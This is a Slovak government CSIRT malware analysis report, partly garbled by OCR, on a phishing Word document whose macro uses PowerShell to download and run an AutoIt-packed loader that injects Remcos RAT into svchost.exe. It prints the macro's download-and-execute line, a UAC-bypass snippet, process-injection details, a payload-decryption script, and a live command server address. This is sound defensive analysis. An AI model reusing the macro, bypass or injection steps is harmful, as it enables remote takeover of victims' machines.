URAD PODPREDSEDU VLADY SR
a l PRE INVESTICIE
A INFORMATIZACIU .

Sprava z analyzy Skodlivého kédu

Dokument s faloSnou objednavkou Siriaci Skodlivy kod Remcos RAT

Manazérske zhrnutie

Mnoho kybernetickych bezpe€nostnych incidentov zahfiia $kodlivy kéd. Utocnici sa tento
Skodlivy kod snaZia dostat’ do zariadeni obeti réznymi cestami, Castokrat aj pomocou masivnych
emailovych kampani a phishingovych stranok. Vladna jednotka CSIRT.SK podobné utoky analyzuje
a nasledne prijima opatrenia zmiernenie ich dopadov. V tejto sprave uvadzame technicku analyzu jedného
utoku, ktory zacinal emailom s odkazom na dokument s faloSnou objednavkou. Po jej otovreni sa
nasledne pomocou roznych technik skryvania sa pred detekciou a analyzou stiahol do zariadenia a spustil
Skodlivy nastroj na vzdialené ovladanie Remcos RAT. Prostrednictvom tohto nastroja utocnik ziskava
podobnu kontrolu nad napadnutym zariadenim, ako keby sedel priamo za klavesnicou.

Strucna analyza

Vzorka predstavuje dokument Microsoft Office obsahujuci makra, ktoré sa vykonaji po otvoreni
dokumentu. Tieto makra pomocou PowerShellu stiahnu z Internetu .exe subor, ktory nasledne spustia.
Uvedeny .exe stbor je vytvoreny z obfuskovaného Autolt skriptu a vo svojich resource obsahuje
zaSifrovany Skodlivy program zndmy ako Remcos RAT. Autolt skript deSifruje a prostrednictvom
legitimneho programu svchost.exe spusti Remcos RAT, ktory sa pripoji na server uto¢nikov a ti nasledne
moZu prostrednictvom riadiaceho panela Remcos ovladat zariadenie obete.

Podrobna analyza

Purchase Order.doc

PROTECTED DOCUMENT

This document is protected
to avoid sensible data leak.
Please click "Enable Content™ to
view decrypted message

Please Enable Content

Obr. 1: Dokument otvoreny v textovom procesore

Emaily obsahovali uvedeny dokument Purchase Order.doc ako prilohu a zaroven
obsahovali odkaz na stranku hxxp://takefullcredit.com/sin/file/se.php, z ktorej sa dal
tento dokument stiahnut. Dokument obsahuje makra, ktoré sa spustaju po jeho otvoreni. Ak nie je ich
spuStanie v textovom procesore povolené, dokument sa snazi svojim "chranenym" obsahom presvedcit’
pouivatel'a, aby makra spustil. Pre tcely analyzy je mozZné tieto makrd extrahovat’ napriklad pomocou
nastroja olevba. Obsahuju vela zbytocného obfuskovaného kdédu (pre zakrytie Skodlivého tucelu
makra), no pomerne l'ahko sa da najst’ Cast, kde sa zavold funkcia Shell. Pomocou PowerShellu sa
stiahne stibor z URL hxxps://a.doko.moe/hpofbv, uloZi sa ako $TEMP%\ujxndTPNa.exe
a nasledne sa spusti. Stoji za povSimnutie, Ze PowerShell alias WGet vyuZivany v makre je pritomny aZ
od PowerShell verzie 3.0 a nov3ej (je to alias na Invoke-WebRequest), ktory sa Standardne nenachadza
v operacnych systémoch Microsoft Windows 7 a starSich. Z tohto dévodu bude d’alSia infekcia prebiehat’
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iba na novSich OS Windows alebo na tych zariadeniach, kde spravcovia dodatocne nainstalovali novSiu
verziu PowerShell. Poznamenajme eSte, Ze z dokumentu je mozZné vyextrahovat eSte aj d’alSiu URL
podobnt vysSie uvedenej, ktora vSak nie je sucastou vykonavaného makra a pravdepodobne je to
pozostatok predchadzajiceho utoku, ktory ostal v pouZitej Sablone (Casy kompilacie/vytvorenia Sablony
a "starej" vzorky by tomu nasvedcovali) _
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412|1a¥oKyJed = chr(112) & chr({111) & chr(118) & chr(181) & Chr(114) & chr(115) & Chr(184) & chr(181) & Chr(188) & chr(1eg) & " "
413| DiXYWZITg = "%$a = $env:temp + '‘ujxndTPNa.exe';"

414 FNlxcokkv = "wGet '" &

415 "https://a.doko.moe/hpofbv" &

416 "' _putFilLe %a;start %a"

417

418 call Shell(lAXoKyJed + DiXYWZIfg + FN1Xcokkv, vbHide)
4108

420

421

422 Dim GYVknoohGywvgmxmgbfP As TextFrame

423 Dim beRwtxmrRgjjbopkfeoc As Bookmark

424 Dim oOgWxnvUjZakSeambPKzP As WdExportItem

425 Dim mlstEgupMlzTGCLEQTNM As Floor

426 Dim SERmHhzWzywuTlYyGNUMU As AddIn

427 Dim BuvzItKFTJxfYuSyMXRpyc AS AutoTextEntries
428 Dim hzWoRWNLZXDHPuxyeoGn AsS Chart

Obr. 2: Makro, kod stahujtici a spustajtici .exe stibor pomocou powershellu

ujxndTPNa.exe

Stiahnuty stibor $TEMP$\ujxndTPNa.exe je velky pribliZne 1 MB. Mnoho AV rieSeni ho uz
v Case analyzy deteguje ako nejaky druh tréjskeho kora, program sa okrem iného snaZzi vytvorit zdanie
legitimity aj pouZitou ikonou prevzatou z kancelarskeho balika Microsoft Office.
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Obr. 3: Program ujxndTPNa.exe pouZiva ikonu Microsoft Office

Pri rychlej uvodnej statickej analyze (kontrola metadat, retazcov, importované funkcie, resources,
yara pravidld/signatury, ...) méZeme narazit na viaceré zmienky ohl'adne Autolt. Autolt je skriptovaci
jazyk so syntaxou podobnou BASIC-u urCeny na automatizaciu uloh vyuZivajicich grafické rozhranie
systému Windows. DokaZe okrem iného simulovat stlaCanie klaves a pohyby mysSi. TaktieZ je moZné
Autolt skripty skompilovat’ a distribuovat vo forme .exe suboru bez dodatocnych zavislosti, ¢o niekedy
vyuZivaja autori Skodlivého kodu na skryvanie a automatizaciu niektorych ukonov.
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B Resource Hacker - ujxndTPNa.exe E'@
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Obr. 4: Resource s retazcami obsahujucimi chybové hlasku Autolt

Samotni autori Autolt na svojich strankach spominaji mozZnost’ dekompilacie Autolt skriptov
7 .exe sﬁborov za tymto Gcelom distribuujli aj oficiélny dekompilétor Exe2Aut, ktory vSak funguje
pripadoch (pouZitie neoficidlneho alebo novsieho kompilatora, ochrana pred dekompllovamm) sa nam
pomocou Exe2Aut nepodari dekompilovat pdévodny Autolt skript. Existuji vSak aj dalSie
dekompilatory, ktoré st v tychto pripadoch viac ¢i menej UspeSné. Takto je moZné extrahovat’ z nami
analyzovaného programu ujxndTPNa.exe vySe 1000-riadkovy Autolt skript (s velkostou pribliZzne
100kB), ktory je vSak znacne obfuskovany, ako mozZno vidiet' na obrazkoch nizsie. Skript vSak obsahuje
aj jednu direktivu pre AutoltWrapper, z ktorej sa moZeme dozvediet' dve zaujimavé informacie: cestu
k jednému stboru na pocitaci utocnika, resp. autora Skodlivého kodu (vidime napriklad pouZivatel'ské
meno HP), a taktieZ slovo cypherIT.
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1027 \Users\HP\Desktop\cypherIT\hznfrigzlygzegpj|", rt_rcdata, yjyhpt
1028 D "\Folder Name" -
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Obr. 5: Riadok v Autolt skripte prezradzajuci nieco o ttocnikovi a pouZitom ndstroji

Cypherlt je Sifrovaci nastroj, ktory sa pouZiva na zabalenie a ochranu programov pred analyzou
a detekciou AV rieSeniami, navySe s d’alSimi funkcionalitami, ktoré méZe tito¢nik vyuZit' na zabezpecenie
perzistencie a oklamanie pouZivatelov. Vyzera to teda tak, Ze analyzovany .exe subor eSte bude
obsahovat’ d’alsi Skodlivy program (payload), ktory je ale zaSifrovany. Pod'me deobfuskovat extrahovany
Autolt skript, popisat’ jeho funkcnost a deSifrovat’ d’alsi payload.

Na obrazku niZSie vidime Casté volanie funkcie TMXZJDQWKU a jej definiciu. Tato funkcia nerobi
ni¢ iné, iba pomocou StringMid vybera posledné pismend retazca a priliepa ich do nového ret'azca
v opacnom poradi, teda robi "reverz" retazca, ktory dostane ako argument.
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@ ujpndTPNa.au3 - SciTE [ @ ][=]
File Edit Search View Tools Options Language Buffers Help
DG &S & BERX o~ Qg

13 Global S$SUHPBLELFOHZAMZWIPKHCNDIKCYXRUQCWHYHRAEAJAQAAMBU Eval (IMXZJDOWKD ("180802423.583-" -

14 Local $FEDYE HAZKLLOQLUCXJJXO YOBZWDTSQTIKF IMXZJDOWED ("zGEwEBkoEj"

15 CHNDIKECYXRUQ YHRAEAJAQAAMBU BitOR ( $SUHPBLELFOHZAMZWIFKHCNDIKCYXRUQCWHY

14 Local $GJAHGKSMARPWHCLYPUUHGATYUWWWYCTESGYLEEGNYXAVZITY Eval (IMEZJDOWED ("193589016.354"

17 ] For $GJAHGXSMARPWHCLYFUUHGATYUWWE SGYLEEGNYXAVZTY 210 To -561 Step 5

18 Local SBECMJWZXFLGOWHYSCSZKSPEBJDPEGTYJXIGIN 0

19 Assign ( IMXZJDOWEUD ("NiGIX]jyvtgKpdibpakzsCS5YHWoGlFXzwIMceBE" IMEZJDOWED ("715"

20 Local $ZHIZGRISGVEJVWWEGXATEHSWHGVJDJISMAK IMXZJDOWED ( "gCHMjhG"

21 SBECMJWZXFLGOWHYSCSZKSPEJDPEGTYJEIGIN Floor ($ZHIZGRISGVEJVWWREGXATEHSWHGVJDJISMAK

22 - Next

23 [0 Func IMXZJDQWKD ($STEXT)

24 Local $RESULT, $I, $SPARAMS

23 Z5PARAMS

28 [+ For §I F

27 $RESULT RE ERANM 51, 1

28 - Next

29 Return SRESULT

30 - EndFunc

31 Dim 5FF6F3435A52691BECEZ7T8DTAS2ZDSSEDDOCD48DSETE491222ATF6AFEE STVUZCDXVLAHOQTU (Ewval ("U" L
4 — 1 r
li=23 co=16 IN5 (CR+LF)

Obr. 6: Funkcia na reverz textového retazca

Tento krok deobfuskacie sa da l'ahko automatizovat, staci v skripte vyhladat v3etky volania
funkcie TMXZJDQWKU (retazec) a nahradit’ ich obratenym retazcom. Nasledne si v Autolt skripte
vSimnime d'alSi sposob obfuskacie retazcov, kedy sa text vyskladava pomocou jednotlivych znakov,
pricom tieto znaky st odvodené z ich Ciselnej hodnoty pomocou funkcie Chr. Ako ¢iselnd hodnota je
Castokrat pouZity jednoduchy aritmeticky vyraz. Deobfuskacia sa teda opét’ da automatizovat’ vyhl'adanim
volani Chr (vyraz), vyhodnotit' hodnotu vyrazu (po kontrole, Ze neobsahuje Ziaden nebezpec¢ny kod,
iba aritmetické operacie a cisla), tito hodnotu previest' na znak a tieto znaky poskladat do textového
ret’azca.
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Obr. 7: Skladanie textovych retazcov pomocou pismen

V d’alSom kroku sa zameriame na deobfuskovanie logickych vyrazov v podmienkach. Na obrazku
nizsie si mo6zeme vSimnut' mnoZstvo jednoduchych podmienok, ktoré su vidy splnené, a az nasledne
za nimi pointu daného logického vyrazu. Ak su teda tieto jednoduché podmienky splnené, moZeme ich
odstréanit’ a cely vyraz nahradit’ iba poslednou podmienkou. Kontrola platnosti a nasledné nahradenie sa
da taktieZ automatizovat’.
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674 Execute ("R te 63 {614
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Obr. 8: Priddvanie podmienok, ktoré nemaju vplyv na platnost’ celého podmieneného vyrazu

Takouto automatizovanou deobfuskaciou sa ndm podarilo znac¢ne sprehladnit’ Autolt skript, ako
vidime na porovnani obrazkov 8 a 9. Nasledne moZeme pristtipit’ k rucnej deobfuskacii, ktora spociva
v odhaleni vyznamu jednotlivych premennych a funkcii a v ich rozumnom premenovani.

@ uxndTPNa_deobfuscated.au3 - STE [2 of 2] = o )

Eile Edit Search View JTools Options Language Buffers Help
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1 ujrndTPMa.au3 2 ujxndTPMa_decbfuscated.au3

671 E] Func AVSUUIDEWKDLOSSBPIFTSSZKH -
672 If Execute ("StringInStr (@ rsi I

673 If Not Execute ("I

674 Execute ("R [ mzcfile\shell\open mmand','', 'REG S5Z', FAutoItExe)"
675 Execute ("5 1Execute ("eventvwr')"

676 Exit

&aT7 EndIf

678 EndIf

679 EndFunc

i
4 10 3
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Obr. 9: Autolt skript po automatizovanej deobfuskdcii

Napriklad na predchadzajicom obrazku vidime pokus o obidenie UAC (User Account Control),
v ktorom sa analyzovany program spusti namiesto Microsoft Management Console.

Po ru¢nom deobfuskovani a naslednej analyze skriptu zistime, Ze pribliZzne polovica kodu je
tvorend funkciami pre Sifrovanie a hashovanie pomocou wincrypt API, pricom tento kod je prevzaty
zo stibory Crypt.au3 z oficialnej distribticie nastroja Autolt. Dalej deobfuskovany skript obsahuje viacero
Casti so zaujimavou funkcionalitou, avSak nevyuzivanou. Vyzera to tak, Ze pouzity Cypherlt pridava tento
kéd to Autolt skriptu, aj ked’ v nastaveniach nemal zapnuté vyuZivanie tychto moZnosti. Ide napriklad
o detekciou behu vo virtudlnom prostredi, zabezpecenie perzistencie (automatického spistania cez
registre, naplanované tlohy), Sirenie sa prostrednictvom pripojenych USB klticov. Nakoniec je
funkcionalita tohto Autolt skriptu obmedzena len na nacitanie a deSifrovanie payloadu, ktory je
umiestneny v resource RCData\YJYHPHBJZIYG, a jeho nasledné injektovanie do procesu
svchost . exe prostrednictvom shellkodu, ktory je v podobe textového retazca v Autolt skripte. To celé
sa udeje pomocou volania DIICallAddress, ktora spusti uvedeny shellkdd s parametrami svchost.exe

a adresa pamate, v ktorej je uloZeny deSifrovany payload.
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[ Resource Hacker - ujxndTPNa.exe EI@

File Edit View Action Help RCData : YIYHPHBIZIYG : 2057

RN 1F 1 AR - eI No!

+ | Icon (XF7AA74BFO176007 C2B736E2DEGR21C1D3F06EN7OEIBCI 3C301 EE1SDEEFAD
.|| String Table EBCO9DBFCEIBEF7B2397 AE4D3BCCAR4EQOESD222764AE40845722E83CFA44
: RCData 2A34B5ED5640D553BF683DCDR8304C6DAEDAGIEE50DD4E4AT2C7072D173C

67E81BB6DACA34EB701D741CFOAB3958EA1BEBC36EFBFDAT1ESBAT3575983

[F=N TN I, RIS S

-y SCRIPT: 0 26894180189402002A040A9B8847FCD15270D32BA03B35226FFE4BDEDSALA
; | g YJYHPHBJZIYG : 2057 AB1CECAZ29A9BEZE73DBA117BEeD30DD4430530CA0177Co209D7 C3E2DO10E
- Icon Group D4065COCIFO4ECI0E4ABABEET 87 ATVBC359E66C184C0ABS4793BAB333E5FTE
- . Version Info 4A3379C147A550B50D4D1C758444BB79BB4E99260A64A280D00EZ1B79F4DA

: A30F141614DD741A5429BA21 AEEE7BOSEB2067F27D2CDDE3SESCTAL122D4C
p o . Manifest 10 BESAAD473AB606EFG0158DFAZFASOIFEGD2AESET 204ACCFG3007ED0GEZBAD
11 CDAOCAF3CE9E1CBBE3F8202B53EAD10BABG456F1FD1BF25BF74AECEBAEAS]
12 E0466A56464E0BFCADISERB0BO4 3ABB4AZCAGFOACEAAB4BI7BDECOIBFO35780
13 08CCODEB3ESASFBBE2COBY 7AD42AA67959B8DB5D0AB01F1ESCAEFBEEBERGC
14 4A312305E1B1D0FAE2EACTBADE424B2A4073BDB0296910094 C35ED7 27068
15 0EG653277152B973E4F3FF1DY8EC1 2E6DODF4ABISB77CBT7B396A00ADD1ER4
16 4A177269F09AD5ED4381162261F957017516FIFCoAATELB3ECOBFADCE48331
17 3F143D17F0AB777B09101836CC4DBB3B6BF390F5AT0621178BEBE21F7ACE2ZA
18 3839B9DEVE2564B5A10C6BC1AG549A304EASB268FF205B108D3B95696E95B
19 226FD0300DFOGGCEO5D0053BCFE087 808247 0B1DASSBRB0ASEBCIEEDNZGTE707
20 B577(C9327090408CA955E3FF730393ED0DIC29ENDDSE3CO581D8FE088DESL
P m y |21 DB190752A35080F354EBBCEB4538ACG4BER337194BD0OCDCCE4G3FDE41DD0OE ~
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Obr. 10: Zasifrovany payload
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Obr. 11: Shellkéd v Autolt skripte

@ upndTPNa_deobfuscated.au3 - SciTE [2 of 2] =n E=R=
File Edit Search View Tools Options Language Buffers Help
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Obr. 12: Nacitanie, deSifrovanie a spustenie payloadu prostrednictvom svchost.exe

Shellkdd po spusteni najprv nacita adresy vybranych funkcii z kniZnic kernel32.d11
antdll.dll na zaklade hashovej hodnoty ich nazvu (Skodlivy kod casto vyuZiva podobny sposob
hladania funkcii na zéklade ich hashu alebo offsetu namiesto ndzvu na zamaskovanie svojich umyslov
pred AV softvérmi aj pred analytikmi). Na obrazku 13 méZeme vidiet’ ¢ast obsahu zdsobnika po nacitani
adries pozadovanych volani; v hornej Casti obrazka st hodnoty, podla ktorych shellkéd hfadal funkcie,
v spodnej Casti obrazka su uz nacitané adresy samotnych funkcii aj s popisom, o aké funkcie ide.
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C|OCB33BEE
O1lE16457
0BCAE418
03DEBCAEZ
0648B099
0334BA53
04B9CT7E4
04BBETE4
01D72DAZ
0B3DD105
OF232744

[ W s s s o

76C210EE | kernel32. SetThreadContext
76BCCOF3 | kernal32.ReadProcassMemory
76BDCESA | kernel3z.virtualAlloc
00000000
12FF1iC | 76BFBE44 | kernel32.GetThreadContext
012FF20| 76B9204D | kernel32.CreateProcessw

z4| 76BD2E1S | kernel32. TerminateProcess
76BD192F | kernel32.ResumeThread
77C065580 | ntdl 1. NtUnmapviewdfTsection
F7BF4830 | ntd11. memcpy
76B90000 | kernal32. 7&B20000
00000000
76BCCIDE | kernel3z.virtualAllocEx
76BEGD3D | kernel3z.VirtualFree
F7BCOO00 | ntd11. 77BCOO0D0D
76C20571 | kernel3z.virtualProtectEx

s I e s s s

[ N e e o W W )= o s

76BF950F | kernel32.writeProcessHeaemory
4 | 0OOOOO00
00000000
00000000
50 | 00000000
1| 77BF5830 | ntd11.RTIZeroMamory

[ N o o o s s

Obr. 13: Nacitavanie adries kniznicnych funkcii podl'a hashu

Nasledne vytvori novy proces svchost.exe v suspendovanom stave, ktorému nasledne zapiSe
do pamadte (pomocou funkcie WriteProcessMemory) deSifrovany payload, ktory sa bude vykonavat
po prebudeni procesu. TakZe payload deSifrovany v predchadzajicom kroku je teraz spusteny a tvari sa
ako "legitimny" svchost .exe.

50 push eax

8D B85 DC FE FF FF Tea eax,dword ptr ss:|[[ebp-124]

50 push eax

e push edx

52 push edx

&A 04 push 4

52 push edx

52 push edx

52 push edx

FF 75 0OC push dword ptr ss:|[Jebp+C[

FF 75 08 push dword ptr ss:febp+E] [ebp+8] : "C: % \Windows'\System32"
FF 55 A4 call dword ptr ss:[ebp-5C] [ebp-5C]:CreateProcessw
85 CO Test eax,edx

OF 84 AD 02 00 00 je shellcode. 40159F

Obr. 14: Vytvorenie procesu svchost.exe

Remcos RAT

Pod'me sa teraz pozriet' na samotny payload. Pokusime sa ho deSifrovat’ aj bez spustenia programu
ujxndTPNa.exe. Na obrazku 12 vidime volanie aes decrypt, ktoré ma v parametroch zaSifrovany
resource a dlhy textovy retazec, z ktorého je odvodeny deSifrovaci kI'i¢. Po nahliadnuti do funkcie
aes decrypt a alSich kryptografickych rutin zistime, Ze je pouZité Sifrovanie AES-256 a deSifrovaci
kI'i¢ sa vypocita na zdklade hashovania MD5. PouZité st volania CryptDeriveKey
a CryptDecrypt zo Standardnej kniZnice wincrypt. Existuje aj modul s podporou wincrypt pre Python,
ktory vyuZijeme a pomocou kratkeho programu v Pythone deSifrujeme resource YJYHPHBJZIYG
(zo vzorky ujxndTPNa.exe ho vieme extrahovat napriklad pomocou programu Resource Hacker).
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& autoit_rcdata_decrypter.py - ScTE (o || = | =]
File Edit Search View Tools Options Language Buffers Help
Ded R & & K| o | Qe

1 from wincrypto import CryptCreateHaszh, CryptHashData, CryptDeriveHey, CryptDecryvpt =

2 from wincrypto.constants import CRLG MD5, CALG _RES 256

3

4 pasaword = '"odrhrwvvnbvidadewineiayrfuhypklxwgggoovwrhdwuzglloihhupouazgtkgivemesa

5 md5 hasher = CryptCreateHash(CALG_MD3S)

& CryptHashData (md5_hasher,password)

T aes _key = CryptDeriveKey(mdS_hasher, CALG RES5 25f8)

8 =

9 %with open("vivhphkbjzivg', 'rk") as f£:

10 encrypted data = f.read()[2:].decode("hex')

11

12 print len(encrypted data)

13 decrypted data = CryptDecrypt({aes_key, encrypted data)

14

15 with open('yjvhphkjziyg decrypted', 'wk'") as f:

1& ? f.write(decrypted_data) -
4 T 3
li=1 co=1IM5 (CR+LF)

Obr. 15: Jednoduchy program v Pythone na deSifrovanie payloadu

Po deSifrovani ziskame .exe stibor, ktory nas odmeni ikonkou viano¢ného darceka.

[F=3 [Eol 5
@le .« Local » Temp - |4¢|| Search Temp

Organize « Include in library « » =~ i 'ZEZ'

~
- Favorites

Bl Deskiop
4. Downloads

= Recent Places

m

yiyhphbjziyg_dec
| Libraries r}.’pted.a{e

3 Documents
J*- Music w

1 item

Obr. 16: Desifrovany vianocny darcek

Tento .exe subor je zabaleny pomocou packera UPX a mnoho antivirovych produktov ho uZ
deteguje ako Skodlivy kod (v case analyzy 43/68). Okrem toho, 11 AV programov ho deteguje ako
Remcos alebo Rescom RAT, teda program na vzdialené ovladanie napadnutého zariadenia. Remcos RAT
nie je neznamy Skodlivy softvér, bol uz viackrat analyzovany, dokonca je k dispozicii aj nastroj
na deSifrovanie a extrakciu jeho konfiguracie od spolocnosti Cisco. Pre jeho pouZitie musime najprv
rozbalit UPX-om zabaleni vzorku, a nasledne dostaneme informacie o riadiacom serveri (C&C)
162.241.190.159:1256 a verzii Remcos RAT: 2.0.6 Pro.
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@ remcos_config.te - SciTE E@
File Edit Search View Tools Optiens Language Buffers Help
DS B S| % BE X[ o~ |Qaqb

1 Enalysing file: yiyhphbjziyg decompressed.exe

2

3 Decrypted data: Length:320(0x140)

4 000000 31 36 32 Ze 32 34 31 Z2e 31 3% 30 Z2e 31 35 39 3a 162.241.1%90.15%:

5 000010 31 32 35 36 3a Tc 40 40 52 &5 6d &f 74 &5 48 &f

& 000020 73 T4 40 40 35 40 40 00 40 40 01 40 40 00 40 40

7 000030 00 40 40 00 40 40 00 40 40 36 40 40 72 00 &5 00

4 000040 &d 00 63 00 6f 00 73 00 2e 00 65 00 78 00 &5 0O

a 000050 40 40 72 00 65 00 &d 00 &3 00 &6f 00 73 00 40 40

10 000060 OO0 40 40 30 40 40 52 &5 6d 63 &f 73 2d 4b 5a 38

11 000070 4c 53 47 40 40 30 40 40 36 40 40 &c 00 &f 00 &7

1z 000080 00 73 00 2Ze 00 64 00 &1 00 74 00 40 40 00 40 40

13 000090 OO0 40 40 00 40 40 31 30 40 40 00 40 40 40 40 35

14 0000a0 40 40 36 40 40 53 63 72 65 65 6e T3 68 &6f T4 73

15 0000L0 40 40 00 40 40 00 40 40 00 40 40 00 40 40 00 40

16 0000cO 40 00 40 40 00 40 40 00 40 40 00 40 40 35 40 40

17 0000d0 36 40 40 &1 75 64 69 6f 40 40 00 40 40 30 40 40

13 0000ed 30 40 40 40 40 00 40 40 01 40 40 30 40 40 00 40

19 0000f0 40 31 40 40 72 00 &5 00 &d 00 63 00 &£ 00 73 00

20 000100 40 40 72 00 €5 00 &d 00 €3 00 &f 00 73 00 40 40

21 000110 OO0 40 40 00 40 40 36 42 32 38 41 45 30 46 31 38

22 000120 46 36 45 37 46 34 35 35 34 30 31 34 37 37 34 30

23 000130 395 31 39 42 43 30 40 40 00 40 40 31 30 30 30 30 919BCOEE.ERL0000

24 000140

25

26 yijyhphbjziyg decompressed.exe 1s version 2.0.6 Pro

27

28 Cz server for yjyhphbjziyg_decompressed.exe

29 |162.2€1.19?.159:1256:
] T 3
1i=29 co=1 INS (LF)

Obr. 17: Desifrovand konfigurdcia Remcos RAT

Remcos je pontikany svojimi autormi ako nastroj na vzdialeni spravu zariadeni a sledovanie,
k dispozicii je aj volne stiahnutel'na Lite verzia s obmedzenou funkcionalitou. Na ucely demonstracie
spravania sa nasej vzorky a sledovanie jej sietovej komunikacie ndm vSak posliZi dostatocne. Sta¢i nam
pripravit’ infrastruktdiru, v ktorej bude dostupné zariadenie s IP adresou riadiaceho serveru "utoc¢nika",
ktori sme zistili z konfiguracie. Nasledne spustime ovladdaci panel z Lite verzie a nechdme naSu
analyzovanud vzorku pripojit’ sa ku nemu. Hned’ vidime aktivne spojenie a prostrednictvom ovladacieho
centra vidime zdkladné informacie o hardvéri a softvéri na infikovanom zariadeni a taktieZ moZeme
vykonavat' rozne akcie, od prezerania suborov, cez editovanie registrov, spustanie prikazov, az
po zachytdvanie snimok obrazovky, odchytavanie stlatenych klaves (keylogger), odpoctvanie
cez mikrofén a sledovanie okolia cez webkameru. Posledné menované "Spionazne" funkcie su
k dispozicii iba v platenej Pro verzii ovladacieho panela, avSak nami analyzovana vzorka ma schopnost
tieto informacie ziskavat’ a odosielat’ tto¢nikovi.

@ REMCOSv2.0.7 Light =0 E=R <
@ Connections (1) |r?1 Proxy Servers | £ Automatic Tasks | {3 Local Settings | 3 Agent Builder | Event Log (4}' [i ] Infn|
Location IP address Port  Operating System Latency Active Window Idle time  System Uptime RAM “ersion
[ES United States 162241190159 1258 Windows 7 Enterprise (32 bit) 0 ms Process Explorer - 0 ming 104 mins 15GB 2.0.6 Pro
4 mn 3
Listening ports: 1256, 2404 (P)

Obr. 18: Ovladaci panel Remcos - aktivne spojenia
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System Info:

1l Remcos Control Center - RemoteHost - (N

£/ Computer/User na
@ Operative System

me: (.
Windows 7 Enterprise (32 bit)

[E=8 B =)

RAM usage

W :0% (6161 MB/15GB)

#§cru Intel(R) Core(TH )
GPU: T
B CPU usage
- AN 1.5GB
(© system Uptime: 1 hours 45 minutes Eﬂi 9%
(D e Time: 0 minutes _
[T Active Window Snipping Tool
Remcos Seftings: Network Info
Priviledge Level Limited Status: Connected
Assigned Name RemoteHost Latency: oms
Remcos version 2,06 Pro %%, Remotz P address 162.241.190.159
Mutex: Remcos-KZBLSG 23 Local Connection Add... 162.241.130.159

23, TCP Fort: 1256

Remcos Directories:

Geolocation Info:

(& Process path

CWsers

= System Locale: United States

Installation path CWsers I | @ Country: 0
X Keylogs path: None (function disabled) Region:
¥ Screenlogs path: None (function disabled) Ciy:
¥ Audiocapture path: None (function disabled) Latitude
Longtude:
System Management Surveilance
| @ Screen Capture ‘ | ) File Manager ‘ | 2] File Search ‘ | Keylogger ‘ | @ ScreenLogoer ‘

| [@] Process Wanag

er ‘ | &P Service Manager ‘ | 7 Registry Editor ‘

| () cam Capture ‘ | # Microphone Cap(ure‘

| i} Installed Programs ‘ | =) Window Wanager ‘ | 4 Clipboard Manager‘

|‘= Password Ra:uvaw‘

| [ Execute Comma

nd.‘ | B command Line ‘ | L7 Remote Scripting ‘

| & set Walpaper

H (U) Power Manager ‘

Remcos Management

| =1 Rename

I rm | P

Netwaork Functions.

| £, SOCKS Proxy ‘ |§ Download&Execute

@ Open Webpage

Extra Functions.

Obr. 19: Ovladace centrum pripojeného agenta Remcos

CH Remcos Control

i Registry Ediitor - RemoteHost -.. [ = |[ = [ &2

System info
5| Computer/User
# Operative Systes
& cru:
3 GRU
- AN

+~HKEY_CLASSES_ROOT
i HKEY_CURRENT_CONFIG
KEY_CURRENT_USER
i HKEY_LOCAL_MACHINE
L. HKEY_USERS

Name  Type

<« [m 3

@ system Uptime:
(@) idle Time:
[T Active Window:

[11:24:03:515] Regedit Socket connected!

=1 [ >
RAM usage

N 0% (597 7MB/1.5GB)

CPU usage

Remeos Settings:

Network Info

Priviedge Level
Assigned Name:
Remcos version
Wutex:

Drive

C: <Fixed= - ch

Limited
RemoteHost
2.0.6 Pro
Remcos-KZ8LSG

Status: Connected

Latency: oms
“LRemole Paddress: 162241190159
1 Local Connection Add... 162241190159
=3, TCP Port: 1256

(] File Manager - RemoteHost| Bl Remote Command Line - RemoteHo:

File explorer | File transfers

Direy

Name

SRecycie.Bin

5] autoexec bat

] eonfig.sys
Documents an

2] pagefie sys
PerfLogs
Program Files
ProgramData
Recovery
System Volum;
Users

) ) ) ) )

Wallpaper
Windows

|

d Settings

e Information

Remote CommandLine started!

g =1 HOR =50 Sl[@][=

his dir and its subdirs)

Search

e Last write time

Obr. 20: Suborovy manaZér, editor registrov a prikazovy riadok pripojeného agenta Remcos

Sietova komunikacia Remcos RAT

Nami analyzovana vzorka komunikuje s riadiacim serverom prostrednictvom protokolu TCP
na porte 1256, avsak toto spojenie nie je Sifrované (ak by Sifrované bolo, v konfiguracii vyssSie by sme
videli informécie o riadiacom serveri vo formate IP:port:heslo). Mame tak moZnost zachytit
komunikaciu medzi agentom a ovladacim panelom. v sandboxe Any.run je moZné najst’ tito vzorku
spustenu 17.9.2018 spolu so zachytenou komunikaciou s riadiacim serverom: tito¢nik okrem iného vyuZil
nahral do infikovaného zariadenia program Mail PassVies od Nirsoftu, ktorym sa pokusil ziskat' uloZené

hesla z emailovych klientov. Tito komunikaciu moZeme vidiet na obrazku nizsie
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4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?.................................S.t.r.i.n.g.F.i.l.e.I.n.f
dFooa .0.4.0.9.0.4.b.
o, G C o.m.p.a.n.y.N.a.m.e.....N.i.r.S.0.7.t...Z2.....F.1.1.e.D.e.5.c.r.i.p.t.1.0.n.....E.m.a.1.1. .
P a.s. s w o.r.d.-.R. e.c.o.v.e.r.y.....' .F.i.l.e.V.e.r.s.i.o.n.

8.6, h."...L.e.g.a.l.c.o.p.y.r.i.g h t .C.o.p.y.r.1.g.h.t. ... .2.8.08.3. .-. .2.8.1.6. .N.i.r.
.S.a.f.e.r. @ ....P.r.o.d.u.c.t.N.a.m.e.....H. Li1. WP Noiel P.r.o.d.u.c.t.V.e.r.s.i.0.n.
1...8.6.....D. .V.a.r.F.i.l.e.I.n.T.0. T R | a n ST a t i.o.n. o ......1...................
i . .<assembly xmlns:”urn schemas microsoft-com:asm. vi” manlfestVerSLOn:“i 0":

pooocosoooal|oonas
:dependency>
<dependentAssembly>
<assemblyIdentity type="Win32" name="Microsoft.Windows.Common-Controls" version="6.9.0.8"
processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
</dependentAssembly>
</dependency>
</assembly>..[DataStart]N...j...73980112|

.U.R.L. e | N A A« - P R T - A T TR AP e 1 S
:w.e.b. .B.r.o.w.s.e.r. . . .. .. .:. .F.i.r.e.T.o.x. .3.2.1.

:U.s.e.r. N.ame. . ... .. .. .:. .t.e.s.t.@.t.e.s.t...c.o.m.

:P.a.s.s.w.o.r.d. 5 5 = 05 00 5 o 585 olloEoEolalbo@-Hails

:P.a.s.s.w.o.r.d. S.t.r.e.n.g.t.h. .:. .M.e.d.i.u.m.

:U.s.e.r. .N.a.m.e. .F.i.e.l.d. . . .:. .

